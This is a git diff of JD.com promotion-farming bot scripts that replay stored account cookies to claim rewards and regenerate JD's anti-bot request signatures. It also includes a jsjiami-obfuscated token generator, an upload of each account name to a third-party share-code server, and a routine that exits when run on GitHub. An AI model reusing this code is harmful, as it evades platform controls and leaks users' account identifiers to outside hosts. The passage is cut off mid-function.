console.log(`\n您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/jxmc`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取20个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/jxmc?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中`) + } else { + console.log(`未知错误:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!$.cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=$.cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live.js b/jd_live.js new file mode 100644 index 0000000..3b560a4 --- /dev/null +++ b/jd_live.js @@ -0,0 +1,430 @@ +/* +京东直播 +活动结束时间未知 +活动入口:京东APP首页-京东直播 +地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东直播 +50 12-14 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_live.js, tag=京东直播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "50 12-14 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_live.js,tag=京东直播 + +===============Surge================= +京东直播 = type=cron,cronexp="50 12-14 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_live.js + +============小火箭========= +京东直播 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_live.js, cronexpr="50 12-14 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东直播'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let uuid +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + uuid = randomString(40) + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + await sign() + message += `领奖完成,共计获得 ${$.bean} 京豆\n` + await showMsg(); +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`\n\n京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +// 开始看 +function getTaskList() { + let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000} + return new Promise(resolve => { + $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.starLiveList) { + for (let key of Object.keys(data.data.starLiveList)) { + let vo = data.data.starLiveList[key] + if (vo.state !== 3) { + let authorId = (await getauthorId(vo.extra.liveId)).data.author.authorId + await superTask(vo.extra.liveId, authorId) + await awardTask("starViewTask", vo.extra.liveId) + } + } + } + console.log(`去做分享直播间任务`) + await shareTask() + await awardTask() + console.log(`去做浏览直播间任务`) + await viewTask() + await awardTask("commonViewTask") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getauthorId(liveId) { + let functionId = `liveDetailV910` + let body = {"liveId":liveId,"fromId":"","liveList":[],"sku":"","source":"17","d":"","direction":"","isNeedVideo":1} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function superTask(liveId, authorId) { + let functionId = `liveChannelReportDataV912` + let body = {"liveId":liveId,"type":"viewTask","authorId":authorId,"extra":{"time":60}} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function viewTask() { + let body = 